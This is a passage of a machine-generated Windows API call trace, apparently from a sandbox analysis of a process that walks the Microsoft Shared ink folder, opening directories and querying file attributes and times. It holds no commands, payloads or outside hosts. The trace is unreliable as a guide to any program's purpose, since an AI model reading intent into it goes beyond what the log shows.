cFileName="..", cAlternateFileName="")) returned 1 [0047.655] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.655] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.655] GetLastError () returned 0x12 [0047.655] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.655] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0047.655] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0047.655] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0047.655] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0047.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0047.655] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.656] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0047.656] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0047.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee98e8 [0047.656] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee98e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xee98e8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0047.656] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee98e8) returned 1 [0047.656] NtClose (Handle=0x170) returned 0x0 [0047.656] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0047.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0047.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.656] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0047.656] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.656] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.656] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.656] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0047.657] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee53d8 [0047.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee8640 [0047.657] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.657] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.657] GetLastError () returned 0x12 [0047.657] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0047.657] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0047.657] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.657] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.657] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.657] GetLastError () returned 0x12 [0047.657] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.657] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0047.657] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0047.657] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0047.657] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0047.657] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="")) returned 1 [0047.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0047.657] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0047.676] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0047.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee98e8 [0047.676] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee98e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xee98e8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0047.676] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee98e8) returned 1 [0047.676] NtClose (Handle=0x17c) returned 0x0 [0047.676] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0047.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0047.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0047.676] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0047.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee8748 [0047.676] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0047.676] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.676] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0047.676] GetLastError () returned 0x12 [0047.676] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0047.676] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0047.676] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.676] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0047.677] GetLastError () returned 0x12 [0047.677] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee8748) returned 1 [0047.677] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0047.677] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.677] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0047.677] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0047.677] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0047.677] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0047.677] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1 [0047.677] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0047.677] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0047.677] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0047.677] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0047.677] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0047.677] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1 [0047.677] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0047.677] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0047.677] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0047.677] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0047.677] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0047.677] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0047.677] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0047.677] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, 